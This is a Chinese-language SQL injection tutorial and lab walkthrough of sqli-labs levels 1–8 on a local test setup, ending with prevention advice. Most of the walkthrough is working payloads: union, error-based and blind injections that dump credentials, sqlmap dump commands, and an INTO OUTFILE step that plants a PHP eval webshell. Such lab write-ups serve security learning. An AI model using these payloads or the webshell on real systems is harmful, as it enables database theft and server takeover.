一、概述
SQL注入(SQL Injection)是发生在web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库,也就是说,SQL注入就是在爱用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。
二、SQL注入的危害
(1)数据库信息泄露:数据库中存放的用户的隐私信息的泄露;
(2)网页篡改:通过操作数据库对特定网页进行篡改;
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改;
(5)服务器被远程控制:被安装后门,经由数据库服务提供的操作系统支持,让黑客得以修改或控制操作系统;
(6)破坏硬盘数据,瘫痪全系统。
三、SQL注入漏洞的原理
在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞,被攻击者利用来攻击系统和网站。
攻击者在提交请求时将SQL语句插入到请求内容中,程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
四、SQL注入关卡靶场介绍
在SQL注入漏洞中,注入类型分为三种:数字型、字符型、搜索型
1.数字型
在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1
这种形式,其注入点 id 类型为数字,所以叫数字型注入点。
这一类的 SQL 语句结构通常为 select * from news where id=1
,如果攻击者将参数id的值改为1 or 1=1
,那么程序中拼接的sql语句则为:select * from news where id=1 or 1=1
,因此参数改变了原有的SQL语句结构,导致了SQL注入漏洞攻击。
2.字符型
在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin
这种形式的URL地址,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句结构通常为
select * from 表名 where name='admin'
当攻击者在参数值admin
尾部加入攻击代码' or 1=1
,那么拼接出来的sql注入语句为:
select * from news where chr='admin' or 1=1 '
这样SQL语句同样也会被改变,当然攻击者也不仅仅使用这么简单的攻击代码,通常还会使用一些更加复杂的攻击代码,例如
admin' union select 1,2,3,4 or '1'='1
在程序中拼接SQL语句之后,则变成了
select * from news where chr='admin' union select 1,2,3,4 or '1'='1'
3.搜索型
很多时候我们会看到网站有个站内搜索的功能,搜索功能往往需要和数据库进行交互,因此也会存在SQL注入漏洞风险,搜索型SQL注入的特点是攻击代码中有两个%
当攻击代码为
%xxxx% or 1=1 #%'
所有的用户都在下方展示了出来,在命令行里我们可以这样搜索:
五、攻击实例
1.SQL-ONE
1.判断是否存在sql注入,根据提示输入数值的ID作为参数,例如:?id=1 ?id=2 ?id=3
2.输入数值不同返回的内容也不同,可以判断我们输入的内容事带入到了数据库中进行查询了。
3.判断sql语句是否拼接,同时判断是字符型还是数字型。
4.根据上述结果可以判定是字符型且存在sql注入漏洞。
5.联合注入,第一步:知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超过列数。
输入代码:?id=1'order by 3 --+
再次输入代码:?id=1'order by 4 --+
6.可以看到是第二列和第三列里面的数据是显示在也页面的
输入代码:?id=-1'union select 1,2,3--+
7.获取当前数据名和版本号
输入代码:?id=-1'union select 1,database(),version()--+
8.爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
输入代码:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
9.爆字段名,通过sql语句查询知道当前数据库有四个表,根据表名可能知道账号和密码是在users表中
输入代码:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
10.通过上述操作可以得到的两个敏感字段是username和password
继续输入代码:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.SQL-TWO
1.和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
2.order by猜解字段
可以看到order by 3 时显示正常,order by 4时显示异常,说明有3个可显示字段。
3.查找数据库名称和版本号:?id=-1 union select 1,database(),version()
4.查找表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
5.查询列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6.显示用户名和密码:?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.SQL-THREE
1.判断是否存在注入点
?id=1’) and 1=1 --+
?id=1’) and 1=2 --+
2.判断字段数
?id=1 order by 3 --+
?id=1 order by 4 --+
3.判断回显点
?id=15') union select 1,2,3 --+
4.查询相关内容,如数据库名、表名、列名
数据库名
?id=15')union select 1,database(),3 --+
表名
?id=15')union select 1,table_name,3 from
information_schema.tables where table_schema='security' limit 0,1 --+
列名
?id=15')union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码:?id=0') union select 1,username,password from users limit 1,1 --+
4.SQL-FOUR
1.判断是否存在注入点
?id=1”) and 1=1 --+
?id=1”) and 1=2 --+
2.判断字段数
?id=1”)order by 3 --+
?id=1”)order by 4 --+
3.判断回显点
?id=15”) union select 1,2,3 --+
4.查询相关内容,如数据库名、表名、列名
数据库名:
?id=15”)union select 1,database(),3 --+
表名:
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
列名:
?id=15")union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码:?id=15")union select 1,username,password from users limit 0,1 --+
5.SQL-Five
1.判断注入类型
Sql属于字符型注入
此关手动注入倾向于用基于报错的SQL盲注
2.判断注入点
单引号闭合
· 3.联合注入,判断字段数
字段数为1,2,3
4.爆出显错位
无显错位,故可使用盲注,本关使用基于报错的SQL盲注
5.Updatexml注入
爆库名
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +
得到当前库名为security
爆表名
?id=1' and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)-- +
得到当前表名有emails,referers,uagents,user
爆列名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1)-- +
得到users表的所有列名为id,username,password
爆字段号
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)-- +
获得用户表的账号为Dumb,密码为Dumb
6.SQL-Six
1、判断注入类型
Sql属于字符型注入
2、判断注入点
双引号闭合
3、联合注入,判断字段数
字段数为1,2,3
4、爆出显错位
无显错位,故可使用盲注,本关使用基于报错的SQL盲注
5、双查询注入
爆库名
?id=1" union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a-- +
得到当前库名为security
爆表名
?id=1" union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
得到当前表名有emails,referers,uagents,user
爆列名
?id=1" union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a -- +得到user表的所有列名为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
爆字段号
?id=1" union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
获得用户表的账号为Dumb,密码为Dumb
7.SQL-SEVEN
当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
1.判断是否存在注入
当输入?id=1时
当输入?id=1’时回显错误 初步判断为字符型注入
接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1 或者 and 1=1等方法):
发现报错,那么接下来 分析是否存在括号及其个数,依次增加括号个数,直到回显正常
由此可推断出,这是带双括号的单引号注入
1、先导出文件
导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径
2、读写权限测试:?id=1')) and (select count(*) from mysql.user)>0 --+ 返回正常则有权限读写
3、利用into outfile进行演示:?id=-1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test1.txt"--+
在浏览器或后台中生成test.txt文件
导入到文件:?id=1')) union select 1,2,'<?php @eval($_POST["111111"])?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+
中国蚁剑链接
8.SQL-EIGHT
1、分别输入?Id=1 ?Id=1’ ?Id=1”
根据题目提示可知这是单引号注入且需要通过盲注进行通关
那么首先利用单引号看一下网页的回显:
用?id=1’ or1=1--+测试是不是注入点
利用布尔盲注进行数据库信息。
利用 left(version(),1)进行尝试,查看一下 version(),当前环境数据库的版本号为 5.5.47 这里的语句的意思是看版本号的第一位是不是 5,明显的返回的结果是正确的。
?id=1' and length(database())=8 --+
查看数据库的长度,长度为 8 时,正确回显,说明长度为 8.(知道了数据库长度可大大减少我们猜数据库名的时间)
?id=1' and left(database(),1)>'s' --+
依次可推出security
2、在sqlmap中输入:python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 --dbs -batch ,得到数据库名为security。
在sqlmap中输入python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1--current-db -batch 得到数据库中的表
获取数据库中的列输入:python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1-D security -T users --columns -batch
获取数据库中的数据python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 -D security -T users -C username--dump -batch
六、总结
通过此次对sqil关卡的通关,我了解到sql注入本质上来说就是拼接字符,通过输入额外的信息破坏外后端脚本原有的查询语句结构,从而达成注入的目的。在SQLI中,按照注入参数类别分为字符型注入、数字型注入、GET型注入、URL注入、请求头注入、POST注入、有回显的注入、联合查询注入等。在通关时,应判断闭合符,列数,然后开始查询数据库名,查表名,查列名,最后查数据得到用户名和密码。其中我对于盲注有进行部分深入了解,盲注分为布尔盲注和时间盲注,对于盲注常用报错注入方式进行破解,常见的报错注入有双查询报错注入、exp函数报错注入、updatexml函数报错注入、extractvalue函数报错注入,join语句报错注入等等,当然还有一些报错注入,不过不常用。当然,除了盲注外还有其他的注入,如二阶注入、堆叠注入、长字符串截断注入、无回显的注入等等。总的来说,sql注入存在的原因就是计算机对代码部分与数据部分区分错误导致的。
对于SQL注入的预防措施,如过滤输入内容,校验字符串、参数化查询,也就是绑定变量,使用预编译查询、采用安全测试,安全审计,如避免使用动态SQL,不要将敏感数据保留在纯文本中,限制数据库的权限和特权以及避免直接向用户显示数据库错误